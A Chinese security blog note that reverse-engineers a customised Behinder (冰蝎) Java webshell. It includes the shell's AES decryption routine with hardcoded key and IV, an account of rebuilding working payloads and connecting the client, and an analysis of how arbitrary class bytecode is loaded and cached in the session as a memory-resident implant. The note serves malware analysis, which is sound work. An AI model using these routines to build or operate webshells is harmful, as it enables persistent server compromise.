1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private byte [] Decrypt(byte [] data) throws Exception { String key = "79bec9b8470119f5" ; String initVector = "9220dc6228514959" ; String pre = "57B53AD816D757C7" ; String post = "4E894FF7B4044BB6" ; String json = new String (data, "UTF-8" ); int start = json.indexOf("\"Message\":\"" ) + "\"Message\":\"" .length(); int end = json.indexOf("\"" , start); String message = json.substring(start, end); if (!message.startsWith(pre) || !message.endsWith(post)) { throw new IllegalArgumentException ("Invalid prefix or postfix" ); } String encoded = message.substring(pre.length(), message.length() - post.length()); String base64Encoded = java.net.URLDecoder.decode(encoded, "UTF-8" ); Class base64Cls = Class.forName("java.util.Base64" ); Object decoder = base64Cls.getMethod("getDecoder" ).invoke(null ); byte [] encryptedBytes = (byte []) decoder.getClass().getMethod("decode" , String.class).invoke(decoder, base64Encoded); javax.crypto.spec.SecretKeySpec skeySpec = new javax .crypto.spec.SecretKeySpec(key.getBytes("UTF-8" ), "AES" ); javax.crypto.spec.IvParameterSpec iv = new javax .crypto.spec.IvParameterSpec(initVector.getBytes("UTF-8" )); javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding" ); cipher.init(javax.crypto.Cipher.DECRYPT_MODE, skeySpec, iv); return cipher.doFinal(encryptedBytes); }
总结:
第一眼看上去这个🐎就不难,然后就被卡住了~
还是要多熟悉熟悉冰蝎的流程,尤其是作者对于内存马的研究,后续想深入了解一下它的源码
多写java代码!
大大的疑惑
后面尝试去还原了一下原版webshell的逻辑,虽然没有它完整,但是发送的payload是可以生效的,然后对应的流量也是完全可以解密了,but就是死活连不上,不晓得为什么
我估计是对于一些类的字节码加载的时候一些函数可能不太适配还是咋的,应该是字节和字符转义出现的问题,冰蝎这个客户端手写加密协议的地方,函数限制的很死,有很多不是很符合现代化java语法的限制,很多高级一点的java语法都不支持,只能说rebeyond作者开发的太早了,作者还是太超模了~
https://github.com/rebeyond/Behinder/issues/300
害奇奇怪怪的问题搞得头大~~(不过有个大胆的想法,要不重构一下吧)~~
忍了一周,还是强行连上了冰蝎
大力出奇迹,周末无聊想了想,还是直接去看了蝎子的源码.通过调试源码发现,前面报的连接错误其实就是加解密函数里出现了不符合作者开发时的java老语法,后面我对着作者给出的加解密示例函数一个个改了语法;对自己的代码语法风格进行微小修正,发现可以正常连接了,并且发出了第一个验证包
,只不过会报解密错误,后面对着原jsp的格式再修修补补也能连上了,然后也更具体地了解了冰蝎的连接流程以及webshell客户端管理的逻辑,后续考虑再发一篇文章讲解,等我把Agent内存马
学废再说,应该可以打造一款自己的冰蝎
,我发现它的有些逻辑还是可以优化的~
复盘
一些怀疑:
写这个🐎的人感觉不一定直接使用了冰蝎或者哥斯拉来连接它,感觉更多的可能是用这个文件来落地内存🐎或者进一步攻击,毕竟留了个加载任意字节码
的口子在那儿,可操控性就很强了,如果要用的话似乎得改掉冰蝎内部的随机类名的生成方式下面是原webshell的类加载逻辑
在解密后正确获得了字节码进行加载的时候,如果不存在NAPRoutID
这个类就进行类加载,并存入session
里,键为NAPRoutID
,后面再使用的时候直接调用session里的NAPRoutID
而不需要重新加载字节码这个地方写死了类加载的类名,但是经过我分析了了冰蝎的源码然后抓出来冰蝎每次连接生成的的字节码,逆向分析发现其实冰蝎每次生成的类字节码的类名都是随机的,并且每次都要重新加载类字节码(恶意的逻辑就藏在字节码里)
我们加入一下调试代码,让连接的时候输出类名即可
1 2 3 response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , "" )); response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , "PayloadClass loaded: " + Class_i.getName()));
可以很明显的看到这个类名都是随机的
那么按照逻辑来讲第一次连接的类名被控端那边肯定不知道,只有客户端这边知道而且只用一次那么这样直接连接肯定是会连接失败的
分析一下就是进行了类加载的复用,将第一次成功加载的类存入session
,后续再调用,实现了内存马 的效果~
不清楚写🐎的人咋想的,既然第一次已经成功加载了类,就可以直接将传统内存马放入恶意类字节码进行加载,那不就可以直接加载进内存了嘛?也不需要继续在原jsp复用这一说,因为根本用不到这个jsp第二次了~(合理怀疑)
[[一次冰蝎🐎的分析]] 这篇笔记主要分析了一个定制版的冰蝎 (Behinder) WebShell。
主要内容:
WebShell 概览: 该 WebShell 使用了自定义的 AES-CBC/PKCS5Padding 加密方式,密钥由两个字符串拼接后进行 MD5 哈希得到。它通过 Java Session 存储状态,并动态加载加密的 Java 类字节码来执行恶意代码。
手动还原过程: 笔记作者尝试手动还原 WebShell 的加密和解密逻辑,并成功实现了流量的加解密。
遇到的坑: 在手动构造 Payload 的过程中,indexOf
函数的使用出现了一些问题,需要进行规避。
Payload 构造: 最终构造的 Payload 包含 MD5 哈希的前 16 位,以及经过加密、Base64 编码和 URL 编码的恶意类字节码。
问题与思考: 笔记作者在尝试完全复刻原始 WebShell 的行为时遇到了问题,推测可能是由于字节码加载或字符转义的问题,以及冰蝎客户端对 Java 语法的一些限制导致的。作者对冰蝎的源码很感兴趣,并考虑对其进行重构。
成功连接: 通过调试冰蝎源码,解决了加解密函数中 Java 语法不兼容的问题,成功连接冰蝎客户端。
复盘补充:
类加载复用与内存马: WebShell 的设计思路可能是为了落地内存马。它将第一次成功加载的类存入 session
,后续直接调用,实现了内存马的效果。
与冰蝎客户端的兼容性问题: 原始 WebShell 的类加载逻辑与冰蝎客户端不兼容,因为冰蝎每次连接生成的类名都是随机的,而 WebShell 却写死了类加载的类名。
推测: 编写 WebShell 的人可能并非直接使用冰蝎或哥斯拉连接,而是利用其加载任意字节码的特性,用于落地内存马或进行进一步攻击。
总结来说,这篇笔记记录了作者对一个定制版冰蝎 WebShell 的逆向分析过程,包括加密算法的还原、Payload 的构造、问题的解决以及对 WebShell 设计思路的深入思考,特别是关于内存马的潜在用途。